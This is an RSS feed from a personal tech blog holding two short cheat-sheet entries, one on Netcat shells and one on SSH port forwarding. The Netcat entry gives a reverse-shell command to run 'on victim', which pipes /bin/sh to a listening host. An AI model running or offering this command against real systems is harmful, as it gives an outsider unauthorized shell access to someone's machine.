<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>network on Jblog</title><link>https://jblog.codevillains.com/tags/network/</link><description>Recent content in network on Jblog</description><generator>Hugo -- gohugo.io</generator><copyright>Copyright © 2022-2025 Jblog. All Rights Reserved.</copyright><lastBuildDate>Thu, 06 May 2021 00:00:00 +0200</lastBuildDate><atom:link href="https://jblog.codevillains.com/tags/network/index.xml" rel="self" type="application/rss+xml"/><item><title>Netcat</title><link>https://jblog.codevillains.com/cheat/nc/</link><pubDate>Thu, 06 May 2021 00:00:00 +0200</pubDate><guid>https://jblog.codevillains.com/cheat/nc/</guid><description><![CDATA[<h2 id="netcat-shells" data-numberify>Netcat shells<a class="anchor ms-1" href="#netcat-shells"></a></h2>
<p>Easiest way to make shell using netcat is to use <code>-e</code> option:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># server - on victim</span>
</span></span><span class="line"><span class="cl">nc 192.168.56.1 <span class="m">4444</span> -e /bin/sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Client</span>
</span></span><span class="line"><span class="cl">nc -nvlp <span class="m">4444</span>
</span></span></code></pre></div>]]></description></item><item><title>Ssh</title><link>https://jblog.codevillains.com/cheat/ssh/</link><pubDate>Sun, 20 Dec 2020 00:00:00 +0100</pubDate><guid>https://jblog.codevillains.com/cheat/ssh/</guid><description><![CDATA[<h2 id="port-forwarding" data-numberify>Port forwarding<a class="anchor ms-1" href="#port-forwarding"></a></h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="c1"># Remote to local</span>
</span></span><span class="line"><span class="cl">ssh -L local_port:remote_address:remote_port username@server.com
</span></span><span class="line"><span class="cl"><span class="c1"># Local to remote</span>
</span></span><span class="line"><span class="cl">ssh -R remote_port:local_address:local_port username@server.com
</span></span></code></pre></div>]]></description></item></channel></rss>